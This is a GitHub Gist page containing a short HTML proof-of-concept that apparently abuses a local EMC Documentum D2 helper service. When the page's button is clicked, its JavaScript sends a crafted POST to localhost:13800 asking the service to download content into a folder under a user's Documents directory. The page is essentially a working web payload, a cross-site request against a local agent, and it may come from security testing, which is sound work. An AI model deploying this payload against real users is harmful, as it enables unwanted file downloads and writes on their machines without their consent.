Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello, World!</title>
</head>
<body>
<input type='button' value='Test D2' onclick='exec()'>
<script>
function reqListener() {
console.log(this.responseText);
}
function exec() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("POST", "http://localhost:13800");
var body = '{"url":"http://localhost:8080/test/echo?filename=1.txt&content=fuck d2","objectid":"0902994780005ca9","targetfolder":"/Users/apanfilov/Documents","operationtype":"view_content","product_name":"d2","event_name":"emc.ctf.downloadoperation"}';
oReq.send(body);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.